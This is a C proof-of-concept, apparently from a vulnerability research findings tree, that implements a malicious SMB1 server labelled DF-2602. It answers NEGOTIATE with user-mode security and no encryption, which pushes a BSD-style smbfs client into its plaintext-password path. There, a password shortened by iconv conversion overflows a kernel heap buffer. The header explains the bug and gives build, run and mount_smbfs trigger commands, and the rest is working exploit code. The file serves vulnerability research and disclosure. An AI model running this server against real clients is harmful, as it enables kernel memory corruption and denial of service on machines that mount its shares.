DF-2602 / smb_evil_user.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 | /* * DF-2602 malicious SMB1 server. * * Same skeleton as findings/poc/DF-2566/smb_evil.c, but the NEGOTIATE * response advertises USER security mode (SMB_SM_USER=0x01) WITHOUT * encryption (SMB_SM_ENCRYPT bit clear). That selects the *plaintext* * password branch in smb_smb_ssnsetup() (sys/netproto/smb/smb_smb.c:265), * where the bug lives: * * plen = strlen(pbuf) + 1; // pbuf = iconv-CONVERTED pw * uniplen = plen * 2; * ntencpass = kmalloc(uniplen, ...); // sized by CONVERTED length * smb_strtouni(ntencpass, smb_vc_getpass(vcp)); // writes ORIGINAL length * * When vc_toserver shortens multi-byte chars (UTF-8 -> single byte), * strlen(pbuf) < strlen(original) and smb_strtouni overflows ntencpass. * * The overflow fires CLIENT-SIDE while BUILDING the SessionSetup request, * so the server merely has to send the USER-mode negotiate response; the * SessionSetup response itself is irrelevant. * * Build (guest): cc -o smb_evil_user smb_evil_user.c * Run (guest): ./smb_evil_user <port> # then mount_smbfs to it * Trigger(root): mount_smbfs -E UTF8:ISO8859-1 -I 127.0.0.1:<port> \ * //g@127.0.0.1/s /mnt/s * (-E UTF8:ISO8859-1 sets vc_toserver to a shrinking converter; the * password supplied to mount_smbfs must contain multi-byte UTF-8 chars * so strlen(converted) < strlen(original).) */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <signal.h> static int verbose = 1; static void put32(unsigned char *b, int off, uint32_t v){ int i; for(i=0;i<4;i++) b[off+i]=(v>>(8*i))&0xff; } static void put16(unsigned char *b, int off, uint16_t v){ b[off]=v&0xff; b[off+1]=(v>>8)&0xff; } static int readn(int fd, void *buf, size_t n){ size_t got=0; unsigned char *p=buf; while(got<n){ ssize_t r=read(fd,p+got,n-got); if(r<=0) return -1; got+=r; } return 0; } static int writen(int fd, const void *buf, size_t n){ size_t put=0; const unsigned char *p=buf; while(put<n){ ssize_t r=write(fd,p+put,n-put); if(r<=0) return -1; put+=r; } return 0; } static void send_smb(int fd, const unsigned char *msg, size_t len){ unsigned char hdr[4]; hdr[0]=0x00; hdr[1]=0x00; hdr[2]=(len>>8)&0xff; hdr[3]=len&0xff; if(writen(fd,hdr,4)<0||writen(fd,msg,len)<0){ perror("write"); } if(verbose){ fprintf(stderr," [srv] send %zu-byte SMB (cmd=0x%02x)\n", len, msg[4]); } } static void mkhdr(unsigned char *h, uint8_t cmd, uint32_t status, uint16_t tid, uint16_t pid, uint16_t uid, uint16_t mid){ memset(h,0,32); h[0]=0xff; h[1]='S'; h[2]='M'; h[3]='B'; h[4]=cmd; put32(h,5,status); h[9]=0x80; /* Flags: reply bit */ put16(h,10,0x0000); /* Flags2 */ put16(h,24,tid); put16(h,26,pid); put16(h,28,uid); put16(h,30,mid); } static void handle_client(int cfd){ unsigned char nb[4], *buf; if(readn(cfd,nb,4)<0) return; uint32_t rlen=((nb[1]&1)<<16)|(nb[2]<<8)|nb[3]; if(rlen>0x10000){ return; } buf=malloc(rlen?rlen:1); if(rlen && readn(cfd,buf,rlen)<0){ free(buf); return; } if(verbose) fprintf(stderr,"[srv] NBSSN request type=0x%02x len=%u -> POSRESP\n", nb[0], rlen); free(buf); unsigned char posresp[4]={0x82,0x00,0x00,0x00}; if(writen(cfd,posresp,4)<0) return; uint16_t uid=0x0100, tid=0x0200; for(;;){ if(readn(cfd,nb,4)<0) return; if(nb[0]!=0x00){ return; } uint32_t mlen=((nb[1]&1)<<16)|(nb[2]<<8)|nb[3]; if(mlen==0||mlen>0x100000) return; buf=malloc(mlen); if(readn(cfd,buf,mlen)<0){ free(buf); return; } if(memcmp(buf,"\xffSMB",4)!=0){ free(buf); return; } uint8_t cmd=buf[4]; uint16_t pid=buf[26]|(buf[27]<<8); uint16_t rq_tid=buf[24]|(buf[25]<<8); uint16_t rq_uid=buf[28]|(buf[29]<<8); uint16_t mid=buf[30]|(buf[31]<<8); if(verbose) fprintf(stderr,"[srv] recv cmd=0x%02x pid=%u tid=%u uid=%u mid=%u len=%u\n", cmd,pid,rq_tid,rq_uid,mid,mlen); unsigned char resp[512]; size_t resplen; switch(cmd){ case 0x72: { /* NEGOTIATE -> NT LM 0.12, USER security, NO encrypt */ unsigned char *h=resp; mkhdr(h,0x72,0,rq_tid,pid,rq_uid,mid); int o=32; h[o++]=17; /* WordCount = 17 */ put16(h,o,7); o+=2; /* DialectIndex = 7 (NT LM 0.12) */ h[o++]=0x01; /* SecurityMode: USER (0x01), NO encrypt -> plaintext pw path */ put16(h,o,16); o+=2; /* MaxMux */ put16(h,o,1); o+=2; /* MaxVcs */ put32(h,o,65536); o+=4; /* MaxTx */ put32(h,o,0); o+=4; /* MaxRaw */ put32(h,o,0); o+=4; /* SessionKey */ put32(h,o,0x0000); o+=4; /* Capabilities */ put32(h,o,0); put32(h,o+4,0); o+=8; /* SystemTime */ put16(h,o,0); o+=2; /* TimeZone */ h[o++]=0; /* ChallengeLength = 0 (no encrypt) */ put16(h,o,0); o+=2; /* ByteCount = 0 */ resplen=o; fprintf(stderr,"[srv] NEGOTIATE: USER mode, no encrypt -> plaintext-pw branch\n"); send_smb(cfd,resp,resplen); break; } case 0x73: { /* SESSION_SETUP_ANDX -> success (overflow already fired client-side) */ unsigned char *h=resp; mkhdr(h,0x73,0,rq_tid,pid,rq_uid,mid); uid=rq_uid?rq_uid:0x0100; put16(h,28,uid); int o=32; h[o++]=3; /* WordCount = 3 */ h[o++]=0xff; h[o++]=0; put16(h,o,0); o+=2; put16(h,o,0); o+=2; /* Action */ put16(h,o,0); o+=2; /* ByteCount = 0 */ resplen=o; send_smb(cfd,resp,resplen); break; } case 0x75: { /* TREE_CONNECT_ANDX -> success */ unsigned char *h=resp; tid=rq_tid?rq_tid:0x0200; mkhdr(h,0x75,0,tid,pid,rq_uid,mid); int o=32; h[o++]=3; h[o++]=0xff; h[o++]=0; put16(h,o,0); o+=2; put16(h,o,0); o+=2; /* OptionalSupport */ put16(h,o,6); o+=2; /* ByteCount = 6 */ memcpy(h+o,"A:\0FAT",6); o+=6; resplen=o; send_smb(cfd,resp,resplen); break; } default: { unsigned char *h=resp; mkhdr(h,cmd,0xC0000022u, rq_tid,pid,rq_uid,mid); h[5]=0x02; h[6]=0; h[7]=0; h[8]=0; int o=32; h[o++]=0; put16(h,o,0); o+=2; resplen=o; send_smb(cfd,resp,resplen); break; } } free(buf); } } int main(int argc, char **argv){ int port = argc>=2 ? atoi(argv[1]) : 1139; signal(SIGPIPE,SIG_IGN); int s=socket(AF_INET,SOCK_STREAM,0); int one=1; setsockopt(s,SOL_SOCKET,SO_REUSEADDR,&one,sizeof(one)); struct sockaddr_in sa; memset(&sa,0,sizeof(sa)); sa.sin_family=AF_INET; sa.sin_addr.s_addr=htonl(INADDR_LOOPBACK); sa.sin_port=htons(port); if(bind(s,(struct sockaddr*)&sa,sizeof(sa))<0){ perror("bind"); return 1; } if(listen(s,1)<0){ perror("listen"); return 1; } fprintf(stderr,"[srv] DF-2602 malicious SMB1 server (USER/no-encrypt) on 127.0.0.1:%d\n", port); for(;;){ int c=accept(s,NULL,NULL); if(c<0) continue; fprintf(stderr,"[srv] client connected\n"); handle_client(c); close(c); fprintf(stderr,"[srv] client done\n"); } return 0; } |